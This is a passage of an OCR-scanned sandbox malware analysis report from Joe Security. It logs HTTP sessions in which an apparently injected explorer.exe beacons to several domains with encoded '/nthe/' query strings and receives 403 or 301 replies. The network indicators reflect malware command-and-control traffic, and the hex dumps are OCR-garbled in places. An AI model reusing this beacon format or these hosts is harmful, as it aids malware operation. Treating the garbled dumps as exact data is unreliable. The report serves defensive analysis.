61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /nthe/?t48tI=fJEp_HN8mMPITHN5P&5jo4nr=540fAHeKGwMzfFPkI96ZbDhctG36f6+/FiUzkHshmPfrtclOV
WH+30lASXX+4wyWJIckJQ== HTTP/1.1

Host: www. hanlansmoijitovillage.net

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp transferred
Sep 15, 2021 615
11:22:05.612250090 CEST
Session ID Source IP
13 192.168.2.22
kBytes
Timestamp transferred
Sep 15, 2021 618

11:22:43.718801022 CEST

Sep 15, 2021 618
11:22:43.833789110 CEST

Session ID Source IP
14 192.168.2.22

kBytes
Timestamp transferred
Sep 15, 2021 620

11:22:53.937608004 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49195

Direction

ouT

Source Port
49197

Direction
ouT

Data

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 15 Sep 2021 09:22:05 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6139efab-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2¢ 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e 0a 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /nthe/?5jo4nr=JnpX3/YBBy9TCXbKhp8uYEFRBGzb3gJR2p4kRAES4yzOlzRdyh/c8y0xiKK/8z4KJyQSLA==
&t48tJ=fJEp_HN8mMPITHN5P HTTP/1.1

Host: www.thaysay.net

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 15 Sep 2021 09:22:43 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6139efab-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP  Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /nthe/?5jo4nr=B6rYep0Vm3M2EhGqYu/feA67U2SQJItGoCN7KNGfFIDVSMwI26b57yYWOnsnzi8vT4Ky8RQ==
&t48tI=fIEp_HN8mMPITHN5P HTTP/1.1

Host: www.onpar-golf.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp transferred

Sep 15, 2021 620
11:22:54.053649902 CEST

Session ID Source IP
15 192.168.2.22

kBytes
Timestamp transferred
Sep 15, 2021 621

11:22:59.159507036 CEST

Sep 15, 2021 622
11:22:59.269926071 CEST

Session ID Source IP
16 192.168.2.22

kBytes
Timestamp transferred
Sep 15, 2021 622

11:23:04.295397043 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49198

Direction

ouT

Source Port
49199

Direction
ouT

Data

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 15 Sep 2021 09:22:53 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6139ed55-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2¢ 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e 0a 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

192.99.131.252 80 C:\Windows\explorer.exe

Data

GET /nthe/?t48tJ=fJEp_HN8mMPiTHN5P&5jo4nr=TiWwkgH4UkC7Clqz9ktcRQySnot/hSPOU84YZk1QGO5z/hARIn
1ng6rxU4Y++sy6YdGpizQ== HTTP/1.1

Host: www.americanstonesusa.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Wed, 15 Sep 2021 09:22:59 GMT

Server: Apache

Location: https://www.americanstonesusa.com/nthe/?t48tJ=fJEp_HN8mMPITHN5P&5jo4nr=TiWkgH4UkC7Clgz9ktcR
QySnot/hSPOU84YZk1QGO5z/hARiIn1ng6rxU4Y ++sy6YdGpizQ==

Content-Length: 354

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e Oa 3¢ 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f
76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68
31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74
2068 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 6d 65 72 69 63 61 6e
73 74 6f 6e 65 73 75 73 61 2e 63 6f 6d 2f 6e 74 68 65 2f 3f 74 34 38 74 4a 3d 66 4a 45 70 5f 48 4e 38 6d 50 69 54 48 4e
3550 26 61 6d 70 3b 35 6a 6f 34 6e 72 3d 54 69 57 6b 67 48 34 55 6b 43 37 43 49 71 7a 39 6b 74 63 52 51 79 53 6e 6f
74 2f 68 53 50 30 55 38 34 59 5a 6b 31 51 47 4f 35 7a 2f 68 41 52 69 6e 31 6e 67 36 72 78 55 34 59 2b 2b 73 79 36 59 64
4770 69 7a 51 3d 3d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>301 Moved Permanent
ly</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.amer
icanstonesusa.com/nthe/?t48tJ=fJEp_HN8mPiTHN5P&amp;5jo4nr=TiWkgH4UkC7Clqz9ktcRQySnot/hSPOU84YZk1QGO5
z/hARIn1ng6rxU4Y++sy6YdGpizQ==">here</a>.</p></body></html>

Destination IP  Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /nthe/?5jo4nr=S+ZwTBrK0+7RoomNfSvQ9j84ffpxKdfieFGWtVtDAWHCIMGVYLqiZt07bDY98RTKIO Ty Tg==&t48tJ=fIE
p_HN8mMPITHN5P HTTP/1.1

Host: www.plasticplank.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp transferred
Sep 15, 2021 623
11:23:04.410657883 CEST
Session ID Source IP
17 192.168.2.22
kBytes
Timestamp transferred
Sep 15, 2021 623

11:23:09.429909945 CEST

Sep 15, 2021 624
11:23:09.545253038 CEST

Session ID Source IP

2 192.168.2.22
kBytes

Timestamp transferred

Sep 15, 2021 586

11:18:05.019635916 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49200

Direction

ouT

Source Port
49169

Direction
ouT

Data

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 15 Sep 2021 09:23:04 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6139ed55-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2¢ 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e 0a 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

34.98.99.30 80 C:\Windows\explorer.exe

Data

GET /nthe/?t48tJ=f{JEp_HN8mPITHN5P&5jo4nr=QEezsAFDINAB3yJURHSMHXjRGqVBO6IXE20IDVvtKCtrvVdawO
VmvQD4In9eCVKj8l4WBCQ== HTTP/1.1

Host: www.realstyleworks.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 15 Sep 2021 09:23:09 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6139ed55-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP  Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /nthe/?5jo4nr=S+ZwTBrK0+7RoomNfSvQ9j84ffpxKdfieFGWtVtDAWHCIMGVYLqiZt07bDY98RTKIO Ty Tg==&t48tJ=fIE
p_HN8mMPITHN5P HTTP/1.1

Host: www.plasticplank.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp transferred

Sep 15, 2021 587

11:18:05.138832092 CEST

Session ID Source IP

3 192.168.2.22
kBytes

Timestamp transferred

Sep 15, 2021 588

11:18:10.217118979 CEST

Sep 15, 2021 588
11:18:10.331685066 CEST

Session ID Source IP

4 192.168.2.22
kBytes

Timestamp transferred

Sep 15, 2021 589

11:18:20.416021109 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49170

Direction

ouT

Source Port
49171

Direction
ouT

Data

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 15 Sep 2021 09:18:05 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6139ed55-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2¢ 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e 0a 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

34.98.99.30 80 C:\Windows\explorer.exe

Data

GET /nthe/?t48tJ=f{JEp_HN8mPITHN5P&5jo4nr=QEezsAFDINAB3yJURHSMHXjRGqVBO6IXE20IDVvtKCtrvVdawO
VmvQD4In9eCVKj8l4WBCQ== HTTP/1.1

Host: www.realstyleworks.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 15 Sep 2021 09:18:10 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6139efab-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP  Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data
GET /nthe/?t48tJ=fJEp_HN8mMPITHN5P&5jo4nr=enVshZ5ucPnpEJ79XKthUFU7GSCP6zpooNwVCr/POs5BKPQIO
oeKppWI2ezsgMpUEHhIAA== HTTP/1.1

Host: www.authorjameswshepherdonline.com
Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp transferred

Sep 15, 2021 590

11:18:20.531202078 CEST

Session ID Source IP

5 192.168.2.22
kBytes

Timestamp transferred

Sep 15, 2021 596

11:19:13.157188892 CEST

Sep 15, 2021 596
11:19:13.272679090 CEST

Session ID Source IP

6 192.168.2.22
kBytes

Timestamp transferred

Sep 15, 2021 600

11:19:54.712455034 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49176

Direction

ouT

Source Port
49180

Direction
ouT

Data

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 15 Sep 2021 09:18:20 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6139ed55-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2¢ 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e 0a 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /nthe/?t48tJ=fJEp_HN8mMPITHN5P&5jo4nr=540fAHeKGwMzfFPkI96ZbDhctG36f6+/FiUzkHshmPfrtclOV
WH+30lASXX+4wyWJlckJQ== HTTP/1.1

Host: www.hanlansmoijitovillage.net

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 15 Sep 2021 09:19:13 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6139efab-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP  Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /nthe/?5jo4nr=JnpX3/YBBy9TCXbKhp8uYEFRBGzb3gJR2p4kRAES4yzOlzRdyh/c8y0xiKK/8z4KJyQSLA==
&t48tI=fIEp_HN8mMPITHN5P HTTP/1.1

Host: www.thaysay.net

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp transferred

Sep 15, 2021 600

11:19:54.827491045 CEST

Session ID Source IP

7 192.168.2.22
kBytes

Timestamp transferred

Sep 15, 2021 602

11:20:05.010581970 CEST

Sep 15, 2021 603
11:20:05.125579119 CEST

Session ID Source IP

8 192.168.2.22
kBytes

Timestamp transferred

Sep 15, 2021 604

11:20:10.230083942 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49182

Direction

ouT

Source Port
49183

Direction
ouT

Data

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 15 Sep 2021 09:19:54 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6139ed55-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2¢ 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e 0a 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /nthe/?5jo4nr=B6rYep0Vm3M2EhGqYu/feA67U2SQJItGoCN7KN6fFIDVSMwI26b57yYWO0nsnzi8vT4Ky8RQ==
&t48tJ=fJEp_HN8mMPITHN5P HTTP/1.1

Host: www.onpar-golf.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 15 Sep 2021 09:20:05 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6139ed55-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
